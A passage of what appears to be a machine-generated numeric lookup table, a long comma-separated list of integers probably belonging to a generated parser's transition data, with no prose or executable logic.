541,541,541,3397,541,541,541,541,3401,541,0,0,1214,0,0,0,0,0,0,0,0,0,0,0,0,0,1634,0,0,0,0,1254,0,0,0,0,0,0,0,0,0,0,0,0,0,1665,0,0,1321,541,541,541,541,541,541,541,541,541,541,1331,541,541,1338,541,541,541,541,873,541,541,541,541,541,541,541,541,541,541,541,541,1332,541,541,541,563,563,1443,563,563,563,563,563,563,26028,1360,988,587,587,587,587,587,587,3548,587,3550,587,587,3552,587,587,0,0,0,0,0,0,541,541,541,3639,3640,541,541,563,1501,587,587,1505,587,587,587,587,587,587,587,587,587,587,1515,587,0,0,0,541,587,563,541,541,899,541,541,563,563,972,563,0,1074,587,587,1052,587,78115,1079,0,0,0,0,0,0,0,0,2445312,0,2842624,0,0,0,2637824,0,587,1522,587,587,587,587,587,587,587,587,587,587,1535,587,587,587,587,587,2013,587,541,587,563,541,541,541,541,563,563,563,563,587,587,587,587,0,0,0,0,0,0,1666,0,1668,0,0,0,1670,0,748,0,0,0,0,0,0,0,0,3174,0,0,0,0,0,0,0,0,791,0,0,0,0,0,0,0,0,833,0,0,0,0,0,0,808,0,0,1693,0,0,0,0,0,0,1700,0,0,0,0,0,0,0,1660,1661,0,0,0,0,0,0,0,0,710,0,0,0,0,0,0,0,0,726,0,0,0,0,0,0,0,0,0,274432,274432,274432,0,274432,274432,274432,541,541,1762,541,541,541,541,541,541,541,541,1769,541,541,541,1773,541,541,1778,541,541,541,541,541,541,541,541,541,541,541,541,541,1788,541,541,0,563,1828,563,563,563,563,563,563,563,1835,563,563,563,563,563,563,3250,563,563,563,563,563,563,563,563,563,2321,563,563,563,563,0,0,563,1908,563,563,563,563,563,563,563,563,563,26028,0,587,1924,587,0,0,0,541,587,563,541,541,900,541,541,563,563,973,563,563,563,563,2262,563,563,563,563,563,563,563,563,563,563,563,1434,563,563,563,563,587,587,587,1960,587,587,587,1964,587,587,1969,587,587,587,587,587,587,2688,587,587,587,587,587,587,2695,587,587,563,563,587,587,587,587,0,0,0,2031,0,1082,0,0,0,2033,0,1086,0,0,0,2035,0,1090,0,0,0,2037,0,1094,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1620,2587,0,1825,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2610,2650,563,563,563,0,0,0,2653,0,1921,587,587,587,587,587,587,587,3549,587,587,587,587,587,587,0,0,3672,0,541,541,541,541,563,563,0,0,2969,0,0,0,0,0,0,0,0,0,0,0,0,0,2102,0,0,0,0,0,3161,0,0,0,0,0,0,0,0,0,0,0,0,1703,0,0,0,0,0,3319,541,541,541,541,541,541,541,3324,541,541,541,541,541,541,541,2832,541,541,541,541,541,541,541,541,541,2573,541,541,541,541,541,541,587,587,3361,587,587,587,587,587,587,587,587,587,587,587,587,587,2709,587,587,3379,0,0,3382,0,0,0,0,3180,3387,0,0,0,0,0,0,0,1682,0,1684,0,0,0,0,0,0,0,1114,0,0,0,0,1118,0,0,1121,541,541,541,541,3407,541,541,541,563,563,563,3412,563,563,563,563,563,2289,563,563,563,563,563,563,563,563,563,563,2605,563,563,563,563,563,3416,563,563,563,563,563,3422,563,563,563,563,587,587,587,3428,587,0,0,0,541,587,563,850,541,1066,901,541,923,563,1071,974,587,587,587,3432,587,587,587,587,587,3438,587,587,587,587,541,563,563,563,563,2276,563,563,563,563,563,563,2282,563,2284,563,2287,563,587,587,587,587,587,3492,587,587,587,3496,587,587,587,587,587,587,2704,587,587,587,587,587,587,587,587,587,1470,587,587,587,587,587,587,0,0,3657,0,541,541,541,541,541,541,563,563,563,563,563,563,936,563,563,563,563,563,563,563,563,587,3687,3688,3689,3690,0,541,563,587,0,541,563,587,0,0,0,0,0,0,0,0,3180,0,0,3450,3451,0,0,389,0,0,0,393,389,0,0,0,0,0,0,0,0,0,0,0,122880,0,0,0,0,0,0,0,405,0,347,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,1709,0,0,0,0,0,0,0,0,0,0,399,0,0,0,0,0,0,0,436,0,0,443,0,0,0,0,0,0,0,0,0,0,0,131072,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,522,522,522,522,522,0,0,0,0,0,0,0,0,0,522,522,522,522,522,522,522,522,522,555,578,555,578,555,555,578,555,602,578,578,578,578,578,578,578,602,602,602,555,602,602,602,602,602,602,602,602,578,578,617,622,602,622,628,1,0,0,0,751,0,0,0,0,0,0,0,0,0,0,0,0,2061,0,0,0,962,563,563,563,563,980,563,563,563,0,587,587,992,587,587,587,587,587,2350,587,587,587,587,587,587,587,587,587,587,1936,587,587,587,587,587,1107,0,0,0,0,1112,0,0,0,0,0,0,0,0,0,0,0,167936,167936,167936,167936,167936,167936,167936,1360,914,563,563,563,1366,563,563,563,563,563,563,563,563,563,1380,563,563,1404,563,563,563,563,563,563,563,563,563,563,563,563,563,2620,563,563,563,1441,563,563,563,563,563,563,563,26028,1360,988,587,587,587,1458,563,587,587,587,587,587,1079,0,1562,0,0,0,1568,0,0,0,0,0,0,1627,1628,1629,0,0,0,0,0,0,0,0,343,0,0,0,0,0,0,0,0,403,0,0,0,0,0,0,0,0,407,407,407,407,0,407,407,407,1574,0,0,0,1580,0,0,0,0,0,0,0,0,0,0,0,808,541,541,852,541,1605,0,0,0,0,0,0,0,0,0,0,0,0,0,1619,0,0,0,0,0,1723,0,0,0,0,0,0,0,0,0,0,0,2625536,0,2699264,2715648,0,1973,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2373,563,563,587,587,587,587,0,0,1563,0,0,0,0,0,1569,0,1575,0,1581,0,0,0,0,0,0,0,0,0,0,0,1262,0,0,0,0,0,0,0,0,1575,0,0,0,0,0,1581,0,0,0,0,0,0,0,2974,0,0,0,0,0,0,0,0,0,365,0,253952,0,0,0,0,541,541,541,2190,541,541,541,541,2194,541,2196,541,541,541,541,541,541,541,3039,541,541,541,541,541,541,541,541,541,887,541,541,541,541,541,541,563,563,2275,563,563,563,563,2279,563,2281,563,563,563,563,563,563,1896,563,563,563,563,563,563,563,563,563,1397,1399,563,563,563,563,563,587,587,2362,587,587,587,587,2366,587,2368,587,587,587,587,587,587,1465,587,587,587,587,587,587,1480,587,587,0,0,0,0,0,2489,0,0,0,0,0,0,0,0,0,0,0,196608,0,0,0,0,563,563,2625,563,563,563,563,563,563,563,563,563,563,563,563,563,2648,563,563,0,0,0,0,3024,0,541,541,541,541,541,541,541,541,541,541,541,1330,541,541,541,541,0,3380,0,0,0,0,0,0,3180,0,0,0,0,3391,0,0,0,0,0,328,0,69632,73728,0,0,0,0,0,65536,0,3393,0,0,0,0,0,541,3396,541,541,3398,541,541,541,541,541,541,541,3040,541,541,541,541,541,541,541,541,541,1783,541,541,541,541,1789,541,0,3455,541,541,541,541,541,541,541,541,541,541,541,541,541,541,563,563,563,541,862,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1319,541,541,912,563,563,563,563,563,563,935,563,563,563,563,563,563,563,2291,2292,563,563,563,563,563,563,563,2319,563,563,2322,2323,563,563,0,0,1009,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2697,1059,0,0,0,541,587,563,541,541,541,541,541,563,563,563,563,563,2614,563,563,563,563,563,563,563,563,563,563,3649,587,587,587,587,587,587,587,0,1095,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2513,0,0,1623,0,0,0,0,0,0,0,0,0,0,0,0,0,2130,0,2132,1826,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3258,541,3215,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1337,541,587,587,587,3271,587,587,587,587,587,587,587,587,587,587,587,587,2370,587,587,587,0,0,0,0,348,348,350,348,348,348,348,348,348,513,348,348,0,350,348,0,0,348,348,0,0,0,0,349,0,0,0,0,0,329,0,0,0,0,0,0,0,0,0,0,0,2509,0,0,0,0,348,348,348,348,348,348,348,348,348,348,348,348,348,348,348,348,556,579,556,579,556,556,579,556,603,579,579,579,579,579,579,579,603,603,603,556,603,603,603,603,603,603,603,603,579,579,556,579,603,579,603,1,0,0,0,0,722,0,724,0,0,0,0,0,0,0,0,0,299,0,0,0,0,0,0,0,0,0,0,739,0,0,0,0,0,0,0,0,0,0,0,836,541,541,541,541,0,0,0,766,0,0,0,771,0,0,0,0,0,0,0,0,0,1189,0,0,0,0,0,0,541,541,541,870,541,541,541,541,541,890,892,541,541,903,541,541,541,541,541,2569,541,541,541,541,541,541,541,541,541,541,541,541,2835,541,541,541,963,965,563,563,976,563,563,563,563,0,587,587,993,999,587,587,587,587,587,3374,587,541,541,563,563,587,587,0,0,0,0,0,0,3299,0,0,0,587,587,1017,587,587,587,587,587,1037,1039,587,587,1050,587,587,587,587,587,2364,587,587,2367,587,587,587,587,587,587,587,2677,587,587,587,587,587,587,2682,587,0,0,0,1151,0,1153,0,1155,0,0,0,0,0,0,0,0,0,1231,541,541,541,541,541,541,0,1181,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1636,0,0,1198,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1675,0,0,1266,0,0,0,0,0,0,0,1181,541,541,541,541,541,541,541,1326,541,541,541,541,541,541,541,1339,1305,1307,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1358,541,541,541,1343,541,541,541,541,541,541,541,541,1354,1355,541,541,541,541,541,541,2840,541,541,541,541,541,541,541,541,541,541,3056,541,3058,541,541,541,1360,914,563,563,563,563,1367,563,563,563,563,563,563,563,563,563,3242,563,563,563,563,563,563,563,563,563,1421,563,563,563,563,563,563,563,1435,563,563,563,563,563,2627,563,563,563,563,563,563,2635,563,563,563,1459,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2942,587,587,587,1489,1491,587,587,587,587,587,587,587,587,587,587,587,2707,2708,587,587,587,1554,587,1555,587,587,1558,1079,0,0,0,0,0,0,0,0,0,306,204800,204800,0,205106,204800,1,0,1677,0,0,1679,0,0,0,0,0,0,0,0,0,0,0,1159,0,0,0,0,541,541,541,541,1763,541,541,541,541,541,541,541,541,541,541,541,541,2208,541,541,541,0,563,563,563,563,563,563,563,1833,563,563,563,563,563,563,563,2879,563,563,563,563,563,563,563,563,2644,563,563,563,2647,563,563,563,1858,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1857,563,563,563,1909,563,563,563,563,1915,563,563,563,26028,0,587,587,587,587,587,2376,587,587,587,587,587,587,587,587,587,587,2717,541,587,563,541,541,587,587,587,587,1929,587,587,587,587,587,587,587,587,587,587,587,2938,587,587,587,587,587,1991,587,587,587,1996,587,587,587,587,587,587,587,587,2005,587,0,0,0,541,587,563,852,892,541,903,541,925,965,563,976,587,587,587,2011,587,587,587,541,587,563,541,541,541,541,563,563,916,563,563,563,932,563,563,563,563,563,563,563,1864,563,563,563,1868,563,563,1873,563,2077,0,0,0,0,0,0,0,0,2085,0,0,0,0,0,2089,0,0,2091,0,0,0,0,0,0,0,2099,0,0,0,0,0,0,0,3012,3013,0,0,0,0,3018,0,0,2133,2134,0,2136,0,0,0,0,0,0,0,0,0,0,2144,0,0,2149,2150,0,0,0,0,0,2154,0,0,0,0,0,0,0,2160,541,541,541,541,541,541,2167,541,541,541,541,541,541,1288,541,541,541,541,1298,541,541,541,541,541,541,1325,541,541,541,541,541,541,541,541,541,541,1801,541,541,541,541,541,2202,541,541,541,541,541,541,541,541,541,541,541,541,2209,541,541,541,541,541,2815,541,2818,541,541,541,541,2823,541,541,541,541,541,541,3409,541,563,563,563,563,563,563,563,563,3479,563,3481,3482,563,3484,563,541,541,541,2215,541,541,541,541,541,541,541,541,541,541,541,541,895,541,541,541,0,0,2244,563,563,563,563,563,563,563,2252,563,563,563,563,563,563,3534,563,3536,563,563,3538,563,563,587,587,563,563,2301,563,563,563,563,563,563,563,563,563,563,563,563,563,2893,563,563,0,0,2331,587,587,587,587,587,587,587,2339,587,587,587,587,587,587,2715,587,587,587,587,541,587,563,541,541,587,587,587,587,2363,587,587,587,587,587,587,2369,587,2371,587,2374,587,587,2388,587,587,587,587,587,587,587,587,587,587,587,587,587,2918,587,587,0,2474,0,0,0,0,0,0,0,0,0,2482,0,0,0,0,0,0,0,122880,122880,122880,122880,122880,0,122880,0,2105632,0,0,2514,0,0,0,0,0,0,0,0,0,2522,0,0,541,541,541,541,541,3461,541,541,541,3465,541,541,541,541,541,541,1287,541,541,541,541,541,541,541,541,541,541,2546,541,541,541,541,541,541,541,541,541,2540,541,541,541,541,541,541,541,541,541,541,541,541,2222,541,541,541,563,563,563,2599,563,563,563,563,563,2604,563,563,563,563,563,563,2278,563,563,563,563,563,563,563,563,563,2632,563,563,563,563,563,563,2670,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3143,587,587,587,587,2686,587,587,587,587,587,587,587,587,587,587,587,3125,587,587,587,587,541,541,2723,563,563,563,2725,587,587,587,2727,2728,0,0,0,0,0,0,0,172032,172032,172032,172032,172032,172032,172032,172032,1,0,0,2746,0,2747,0,0,0,0,0,0,0,0,0,0,0,1175,0,0,0,0,0,0,0,0,2762,0,0,0,0,0,0,0,0,0,0,0,1192,0,1195,0,0,2811,541,2812,541,541,541,541,541,541,541,541,541,541,541,541,541,1804,541,541,541,541,541,2849,541,541,541,541,541,0,0,563,563,563,563,563,563,563,563,563,563,563,563,2255,563,2858,563,2859,563,563,563,563,563,563,563,563,563,563,563,563,563,3086,563,563,587,587,2907,587,2908,587,587,587,587,587,587,587,587,587,587,587,3139,587,3141,587,587,0,0,0,2983,0,0,0,0,0,0,0,0,0,0,0,0,2073,0,0,0,0,0,3381,0,0,0,0,0,3180,0,0,0,3390,0,0,0,0,0,0,1659,0,0,0,0,0,0,0,0,0,0,114688,0,241664,258048,0,0,3430,587,587,587,587,587,587,587,587,587,3439,587,587,587,541,563,563,563,563,2303,563,563,563,563,563,563,563,563,563,563,563,26028,0,587,587,587,541,541,541,541,3518,541,541,541,541,541,541,541,541,541,563,563,563,3232,563,563,563,563,563,563,3531,563,563,563,563,563,563,563,563,563,563,587,587,587,3357,587,587,587,587,587,3545,587,587,587,587,587,587,587,587,587,587,0,0,0,0,0,0,3637,541,541,541,541,541,541,3643,563,563,563,563,3647,563,563,587,587,587,587,587,3653,587,587,0,0,0,0,3635,0,541,541,541,541,541,541,541,563,2724,563,563,587,2726,587,587,0,0,0,0,0,0,0,0,3607,0,541,541,541,541,0,3656,0,3658,541,541,541,541,541,541,563,563,563,563,563,563,937,563,563,563,563,563,563,563,0,0,0,0,394,395,0,396,0,0,0,0,0,396,0,0,0,0,0,331,332,333,0,0,0,0,0,0,0,0,0,560,583,560,583,560,560,583,401,0,0,0,0,0,368,376,404,0,0,0,0,0,368,0,0,396,0,0,0,0,0,351,0,0,368,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2744,409,411,0,0,368,376,0,69632,73728,0,0,0,0,427,65536,0,0,0,0,0,2044,2045,0,0,0,0,0,0,0,0,0,361,0,0,0,0,0,361,427,427,437,0,427,0,411,427,456,0,0,0,0,0,0,0,0,106496,0,106496,0,0,0,0,106496,396,0,409,0,497,497,0,497,497,497,497,497,497,497,497,523,523,523,523,523,456,456,456,456,531,456,456,532,456,523,537,523,523,523,537,523,523,523,523,539,557,580,557,580,557,557,580,557,604,580,580,580,580,580,580,580,604,604,604,557,604,604,604,604,604,604,604,604,580,580,618,623,604,623,629,1,0,0,0,643,0,0,0,0,0,0,0,0,0,0,0,0,2101,0,0,0,783,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2757,0,0,0,802,0,0,0,0,0,0,0,0,0,0,0,0,2129,0,0,0,587,587,587,1023,1025,587,587,587,587,587,587,587,587,587,587,587,3275,587,587,587,587,0,0,0,0,1096,0,0,1098,0,0,0,0,0,0,0,0,0,1630,0,0,0,0,0,1636,0,0,0,0,1111,0,0,0,0,0,0,0,0,0,0,0,1207,0,0,0,0,1098,1227,0,0,0,0,0,0,1234,0,0,0,0,0,0,0,0,155648,0,0,0,0,0,0,0,0,1239,0,0,0,0,0,0,0,0,0,0,1239,1248,0,0,0,0,0,0,1681,0,0,0,0,0,0,1687,0,1689,0,0,0,0,1239,1269,1270,0,1239,0,541,541,541,541,541,541,541,3207,3208,541,541,541,541,3212,3213,1278,541,541,541,1282,541,541,1293,541,541,1297,541,541,541,541,541,541,541,3054,541,541,541,541,541,541,541,541,541,1784,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,1370,563,563,563,1374,563,563,563,563,1847,563,563,563,563,563,563,563,563,563,563,563,2308,563,563,563,563,1385,563,563,1389,563,563,563,563,563,563,563,563,563,563,563,563,2295,563,563,563,563,563,563,1406,563,563,563,1410,563,563,563,563,563,563,563,563,2901,563,563,0,0,587,587,587,587,587,587,1462,587,587,587,1466,587,587,1477,587,587,1481,587,587,587,587,587,3434,587,3436,587,587,587,587,587,587,541,563,587,1502,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3128,587,0,1622,0,0,0,0,0,0,0,0,0,0,0,0,1635,0,0,0,0,0,2067,0,0,0,0,0,0,0,0,0,2076,1637,0,0,0,1641,0,0,0,1645,0,0,0,1649,0,0,0,0,0,0,2056,0,2057,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1676,0,563,563,1844,563,563,563,563,563,563,563,563,563,563,563,563,563,3540,587,587,1958,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3127,587,3129,587,587,2010,587,587,587,587,1749,1940,1844,541,541,541,541,563,563,917,563,563,563,934,563,563,948,563,563,563,563,563,1895,563,563,563,1900,563,563,563,563,563,563,1914,563,563,563,563,26028,0,587,587,587,0,2118,0,0,0,0,0,0,2125,0,0,0,0,0,0,0,0,184726,184932,184932,184932,0,184932,184932,184932,0,0,2159,0,541,541,2162,541,541,541,541,541,541,541,541,541,541,2833,541,541,541,541,541,541,541,2227,541,541,541,541,541,541,541,541,541,541,541,0,0,563,2855,563,563,563,0,0,563,563,2246,563,563,563,563,563,563,563,563,563,563,563,3255,563,563,563,563,563,563,2314,563,563,563,563,563,563,563,563,563,563,563,0,0,587,2904,587,0,0,587,587,2333,587,587,587,587,587,587,587,587,587,587,587,3440,587,587,541,563,587,587,587,587,2390,587,587,587,587,587,587,587,587,587,587,587,2928,587,587,587,587,587,587,587,587,2401,587,587,587,587,587,587,587,587,587,587,587,541,587,0,0,0,541,587,563,1064,541,541,905,541,1069,563,563,978,541,541,541,2567,541,541,541,541,541,541,541,541,541,541,541,541,900,541,541,541,2698,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3277,587,587,0,2759,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1716,0,541,2827,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1758,541,563,2874,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2285,563,587,587,587,2923,587,587,587,587,587,587,587,587,587,587,587,587,2382,587,587,587,0,0,2993,0,0,0,0,0,0,0,0,0,0,0,0,0,2433,0,2435,3171,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2771,3202,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2577,3225,541,541,541,541,541,541,541,541,563,563,563,563,563,563,563,2888,563,563,563,563,563,563,563,563,3241,563,563,563,563,563,563,563,587,587,587,3282,587,587,587,587,587,587,587,587,587,541,587,563,2018,541,541,541,2022,563,541,3289,563,3291,587,3293,3294,0,0,0,0,3298,0,0,0,0,0,0,0,1134592,0,365,0,0,0,1134592,0,0,0,1134592,1134592,0,0,1134592,0,0,1134592,0,0,0,3311,0,0,0,0,3315,0,0,0,0,0,0,0,0,0,1725,0,0,0,0,0,0,3318,0,541,541,541,3320,541,541,541,3323,541,541,541,541,541,541,541,1751,541,541,541,541,541,541,541,541,541,2586,0,563,563,563,563,563,3338,563,563,563,3341,563,563,563,563,563,563,563,563,563,563,563,26028,1921,587,587,587,587,3360,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3554,0,0,3403,541,3405,541,541,541,541,541,563,563,563,563,563,563,563,563,563,563,3075,563,563,3418,563,3420,563,563,563,563,563,563,587,587,587,587,587,587,587,3596,587,3598,587,587,0,0,0,0,3560,0,0,0,0,541,541,541,541,541,541,541,541,541,2169,541,541,541,541,541,3574,541,541,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1417,3586,563,563,563,587,587,587,587,587,587,587,587,587,587,3599,587,0,0,0,853,1e3,926,849,1065,894,541,541,922,1070,967,563,0,587,587,587,587,587,78115,0,0,0,0,0,0,0,0,0,365,0,305,0,0,0,0,3611,541,541,541,541,541,541,541,563,563,3617,563,3618,563,563,563,563,587,587,587,587,3594,587,587,587,587,587,587,587,541,541,563,563,587,587,3378,0,0,410,356,0,0,0,0,0,69632,73728,0,0,0,0,0,65536,0,0,0,0,0,2122,0,0,0,0,0,0,0,0,0,0,304,304,0,0,0,0,0,0,354,0,0,0,356,0,0,473,473,473,473,473,473,473,478,473,473,473,473,473,473,473,473,473,473,473,478,473,484,473,0,0,473,0,0,0,0,0,0,0,0,524,528,528,528,528,473,473,473,473,473,473,473,478,473,528,524,528,528,528,524,528,528,528,528,540,558,581,558,581,558,558,581,558,605,581,581,581,581,581,581,581,605,605,605,558,605,605,605,605,605,605,605,605,581,581,619,624,605,624,630,1,0,0,0,0,644,0,0,0,0,0,0,0,0,0,0,0,1606,0,0,0,0,688,0,0,0,0,0,0,0,0,0,0,0,365,365,365,0,0,0,0,0,2138,0,0,0,0,0,0,0,0,0,0,0,2768,0,0,0,0,0,0,0,738,0,0,0,644,738,0,744,745,644,0,0,0,0,0,0,790,0,0,0,0,0,0,0,0,0,2058,0,0,0,0,0,0,0,0,799,0,804,0,0,0,0,0,0,804,0,0,0,0,0,644,0,0,0,799,0,804,0,790,0,819,0,0,0,665,0,0,0,0,819,0,0,0,0,0,0,0,2473984,2478080,0,0,0,0,0,0,0,0,0,2767,0,0,0,0,0,0,0,644,0,0,0,0,0,0,0,0,790,0,0,0,0,0,0,0,3165,0,0,0,0,0,0,0,0,0,541,563,541,563,541,541,563,0,0,790,790,0,644,0,0,790,804,842,0,541,848,541,541,541,541,541,2839,541,541,541,2842,541,2844,541,541,541,541,541,541,879,541,884,541,891,541,894,541,541,908,541,541,867,871,877,541,882,541,541,541,541,541,899,541,541,541,541,541,541,2852,541,541,0,0,563,563,563,563,563,563,563,563,563,563,563,563,563,2256,563,563,563,972,563,563,563,563,563,0,587,587,995,587,587,587,587,587,2687,587,587,587,587,587,587,587,587,587,587,2937,587,587,587,587,587,587,587,1014,1018,1024,587,1029,587,587,587,587,587,1046,587,587,587,587,587,1026,587,1031,587,1038,587,1041,587,587,1055,587,1149,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2799,0,0,0,1200,0,0,0,0,0,1205,0,0,0,0,0,0,0,1714,0,0,0,0,0,0,0,0,0,2140,2141,0,0,2143,0,0,1099,0,0,0,1230,0,1232,0,0,0,0,0,0,0,0,0,351,352,353,0,0,0,0,1240,0,0,0,0,0,0,0,0,0,0,1246,0,1249,1200,0,0,0,0,0,2427,0,0,0,0,0,0,0,0,0,0,336,337,0,0,0,0,1230,1252,0,1255,0,0,0,0,0,1130,0,0,0,0,1264,0,0,1149,1264,0,1271,541,541,541,541,1277,1360,914,1362,563,563,563,563,563,1369,563,563,563,563,1375,563,563,563,563,1862,563,563,563,563,563,563,563,563,563,563,563,3084,563,563,563,563,563,563,563,1407,563,563,563,563,1412,563,563,563,563,563,563,563,2900,563,563,563,0,0,587,587,587,563,1419,563,563,563,1426,1428,563,563,563,563,563,563,563,563,563,3346,563,563,563,563,563,563,587,587,1461,587,587,587,587,1467,587,587,587,587,587,587,587,587,2663,587,587,587,587,587,587,587,587,587,1488,587,587,587,587,587,587,587,587,587,587,1499,587,587,587,587,1463,587,587,587,587,587,1475,587,587,587,587,587,587,2014,541,587,563,1791,541,2020,541,1886,563,587,587,1504,587,587,587,587,587,587,587,587,1511,587,587,587,1518,1520,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2396,2397,2398,587,587,1542,587,0,541,587,563,541,541,541,541,541,563,563,563,563,563,2862,563,2865,563,563,563,563,2870,563,563,563,563,587,587,587,587,587,1079,0,0,1563,0,0,0,1569,0,0,0,0,0,376,0,0,0,0,368,0,385,0,351,0,0,1575,0,0,0,1581,0,0,0,0,0,0,0,0,0,0,303,303,0,0,0,0,1592,1593,0,0,0,0,0,1599,0,0,0,0,0,0,0,0,0,2098,0,2100,0,0,0,0,0,1638,0,0,0,0,0,0,0,1646,1647,0,0,0,0,0,0,0,3197,0,0,0,0,0,0,3200,0,0,1654,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2038,0,1690,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3005,0,1706,1707,0,0,0,1710,0,0,0,0,0,1714,0,0,1717,0,0,1730,0,1732,1706,541,541,541,541,541,541,541,541,541,541,541,2547,541,541,541,541,541,1744,541,541,541,541,1750,541,541,541,541,541,541,541,541,541,541,3220,541,541,541,541,541,541,1761,541,541,541,541,1765,541,541,541,541,541,541,541,541,541,541,3335,541,541,563,563,563,541,1776,541,541,541,1781,541,541,541,541,541,541,541,541,541,541,541,2559,541,541,541,541,1808,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,563,563,563,563,563,1376,563,0,587,587,1046,587,587,78115,1079,0,0,0,0,0,0,0,0,225890,225890,225890,225890,225741,225890,225890,225890,0,563,563,563,563,563,563,563,563,563,563,563,563,1839,563,563,563,563,1877,563,563,563,563,563,563,563,563,563,563,563,2869,563,563,563,563,563,563,1845,563,563,563,563,563,563,563,563,563,563,1856,563,563,563,563,1894,563,563,563,1898,563,563,563,563,563,563,563,1450,563,26028,1360,988,1454,587,587,587,563,563,1860,563,563,563,563,563,563,563,563,563,563,1871,563,563,563,563,1911,1913,563,563,563,563,563,26028,0,587,587,587,587,587,1506,587,587,1508,587,587,587,1512,587,587,587,0,1286,1470,1378,541,541,541,1549,541,563,563,563,1553,563,1876,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2297,2298,563,563,587,2027,587,587,0,0,0,0,0,0,0,0,0,0,3511,0,3513,0,541,0,0,0,2080,2081,0,0,2083,2084,0,0,0,0,0,0,0,0,286720,0,0,0,0,0,0,0,0,0,286720,286720,0,286720,286720,1,0,0,0,2106,0,0,0,0,2109,2110,0,0,0,0,0,0,0,2069,0,0,0,0,0,0,0,0,0,541,564,541,564,541,541,564,541,541,541,541,2175,541,541,2179,541,541,541,2183,541,541,541,541,541,541,1347,541,541,541,541,541,541,541,541,541,563,563,3231,563,563,563,563,2225,541,541,541,541,2230,541,541,541,541,541,541,541,541,0,0,0,0,0,386,0,69632,73728,0,0,0,0,0,65536,0,2242,0,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2325,0,563,563,563,2260,563,563,2264,563,563,563,2268,563,563,563,563,563,587,587,3625,587,3626,587,587,587,587,587,587,1493,587,587,587,587,587,587,587,587,587,2380,587,587,587,587,587,587,2312,563,563,563,563,2317,563,563,563,563,563,563,563,563,0,0,0,0,0,0,587,587,2655,587,587,587,2329,0,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2680,587,587,587,587,587,587,2347,587,587,2351,587,587,587,2355,587,587,587,587,587,587,2925,587,587,587,587,587,587,587,587,587,1471,587,587,587,587,587,587,2399,587,587,587,587,2404,587,587,587,587,587,587,587,587,541,587,0,0,0,854,1001,927,541,541,541,541,910,563,563,563,563,563,1848,563,563,563,563,563,563,563,563,563,563,3097,563,3099,563,563,563,0,0,0,0,2439,0,0,0,0,0,0,0,0,0,0,0,1616,0,0,0,0,0,0,2475,0,0,0,2479,0,0,0,0,0,0,0,0,0,365,0,0,0,0,0,0,541,2525,541,541,541,541,541,541,541,541,541,541,2533,541,541,541,541,541,541,3053,541,541,3055,541,541,541,541,541,541,541,1311,541,541,541,541,541,541,541,541,541,1753,541,541,541,541,541,541,541,2551,541,541,2553,541,2554,541,541,541,541,541,541,541,2561,541,541,541,541,876,878,541,541,541,541,541,541,541,541,541,541,541,1353,541,541,541,541,541,2565,541,541,541,541,541,541,541,541,541,541,541,541,2576,541,541,541,541,1283,541,541,541,541,541,541,541,541,541,541,1304,0,0,0,563,563,2589,563,563,563,563,563,563,563,563,563,563,3537,563,563,3539,563,587,587,563,2597,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2326,0,563,563,2612,563,563,563,2615,563,563,2617,563,2618,563,563,563,563,563,2877,2878,563,563,563,563,2881,563,563,563,563,563,1863,563,563,563,563,563,563,563,563,563,563,3356,587,587,587,587,587,563,563,563,563,2626,563,563,2630,563,563,563,563,563,563,563,563,3345,563,563,563,563,563,563,563,563,563,563,563,2641,2642,563,563,563,563,563,563,563,563,563,563,26028,1360,988,587,587,587,587,2683,587,2684,587,587,587,587,587,587,587,587,2692,587,587,2696,587,0,0,0,1061,1062,1063,851,541,898,902,1068,924,563,971,975,2733,2734,0,0,2737,2738,0,0,0,0,0,0,0,0,0,0,306,307,0,0,0,0,0,2788,0,2790,0,0,0,0,0,0,0,0,0,0,0,0,2457,0,0,0,0,0,0,0,2803,0,0,0,0,0,0,541,541,541,541,541,541,541,3033,541,541,2826,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2825,2873,563,563,563,563,563,563,563,563,563,563,563,563,2883,563,563,563,563,1912,563,563,563,563,563,563,26028,0,587,587,587,587,587,2934,587,587,587,587,587,587,587,2940,587,587,587,587,2922,587,587,587,587,587,587,587,587,587,587,587,587,2932,0,2982,0,0,2984,0,0,0,0,0,0,0,0,0,0,0,1632,0,0,0,0,0,0,0,0,2995,0,0,2998,0,2999,0,0,0,0,0,0,0,2096,0,0,0,0,0,0,0,0,0,562,585,562,585,562,562,585,541,3049,541,541,541,541,541,541,541,541,541,541,541,541,541,3061,3089,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2621,563,31